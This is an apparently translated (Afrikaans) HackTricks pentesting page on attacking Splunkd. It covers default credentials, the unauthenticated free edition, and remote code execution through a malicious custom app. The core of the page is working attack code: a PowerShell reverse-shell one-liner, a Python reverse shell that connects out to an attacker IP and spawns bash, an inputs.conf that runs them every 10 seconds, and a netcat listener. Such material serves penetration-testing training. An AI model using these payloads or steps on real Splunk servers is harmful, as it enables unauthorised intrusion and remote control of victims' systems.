8.6 KiB
8089 - Pentesting Splunkd
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
Splunk is 'n loganalise-instrument wat 'n kritieke rol speel in die versameling, analise en visualisering van data. Alhoewel sy aanvanklike doel nie was om as 'n SIEM (Security Information and Event Management)-instrument te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en sakelike analise.
Splunk-implementasies word dikwels gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle daarin slaag om die stelsel te kompromiteer. Verstekpoort: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Die Splunk-webbediener hardloop standaard op poort 8000. {% endhint %}
Opname
Gratis Weergawe
Die Splunk Enterprise-toets omskep na 'n gratis weergawe na 60 dae, wat geen outentifikasie benodig nie. Dit is nie ongewoon vir stelseladministrateurs om 'n toets van Splunk te installeer om dit te toets, wat later vergeet word. Dit sal outomaties omskep na die gratis weergawe wat geen vorm van outentifikasie het nie, wat 'n sekuriteitslek in die omgewing inbring. Sommige organisasies mag kies vir die gratis weergawe as gevolg van begrotingsbeperkings, sonder om ten volle die implikasies van geen gebruiker-/rolbestuur te verstaan nie.
Standaardlegitimasie
Op ouer weergawes van Splunk is die standaardlegitimasie admin:changeme
, wat gerieflik op die aanmeldingsbladsy vertoon word.
Nietemin, die nuutste weergawe van Splunk stel legitimasie in tydens die installasieproses. As die standaardlegitimasie nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin
, Welcome
, Welcome1
, Password123
, ens.
Inligting verkry
Sodra jy by Splunk aangemeld is, kan ons data deursoek, verslae hardloop, dashboard skep, toepassings installeer van die Splunkbase-biblioteek, en aangepaste toepassings installeer.
Jy kan ook kode hardloop: Splunk het verskeie maniere om kode te hardloop, soos bedienerkant Django-toepassings, REST-eindpunte, geskrewe insette, en waarskuwingskripte. 'n Algemene metode om afgeleë kode-uitvoering op 'n Splunk-bedieners te verkry, is deur die gebruik van 'n geskrewe inset.
Verder, aangesien Splunk op Windows- of Linux-gashere geïnstalleer kan word, kan geskrewe insette geskep word om Bash-, PowerShell- of Batch-skripte uit te voer.
Shodan
Splunk-bou
RCE
Skep Aangepaste Toepassing
'n Aangepaste toepassing kan Python, Batch, Bash, of PowerShell-skripte hardloop.
Merk op dat Splunk met Python geïnstalleer kom, sodat selfs op Windows-stelsels jy Python-kode kan hardloop.
Jy kan hierdie hierdie Splunk-pakket gebruik om ons te help. Die bin
-gids in hierdie bewaarplek het voorbeelde vir Python en PowerShell. Laat ons hierdie stap-vir-stap deurloop.
Om dit te bereik, moet ons eers 'n aangepaste Splunk-toepassing skep met die volgende gidsstruktuur:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Die bin
gids sal enige scripts wat ons van plan is om uit te voer bevat (in hierdie geval, 'n PowerShell omgekeerde dop), en die verstek gids sal ons inputs.conf
lêer bevat. Ons omgekeerde dop sal 'n PowerShell een-liner wees:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Die inputs.conf lêêr vertel Splunk watter skrips om uit te voer en enige ander toestande. Hier stel ons die program as geaktiveer in en sê vir Splunk om die skrips elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die inset (skrips) sal slegs uitgevoer word as hierdie instelling teenwoordig is.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Ons benodig die .bat
lêer, wat sal hardloop wanneer die aansoek geïmplementeer word en die PowerShell een-liner uitvoer.
Die volgende stap is om Installeer app van lêer
te kies en die aansoek te laai.
Voordat ons die skadelike aangepaste app oplaai, laat ons 'n luisteraar begin deur Netcat of socat te gebruik.
sudo nc -lnvp 443
listening on [any] 443 ...
Op die Laai app op
bladsy, klik op blaai, kies die tarball wat ons vroeër geskep het en klik op Laai op
. Sodra ons die aansoek laai, word 'n omgekeerde dop ontvang en sal die status van die aansoek outomaties na Geaktiveer
oorskakel.
Linux
Indien ons met 'n Linux-gashuis sou werk, sou ons die rev.py
Python-skripsie moet wysig voordat ons die tarball skep en die aangepaste skadelike aansoek oplaai. Die res van die proses sou dieselfde wees, en ons sou 'n omgekeerde dopverbinding op ons Netcat luisteraar kry en aan die gang wees.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Op die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te eskaleer en volharding te verkry:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Verwysings
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.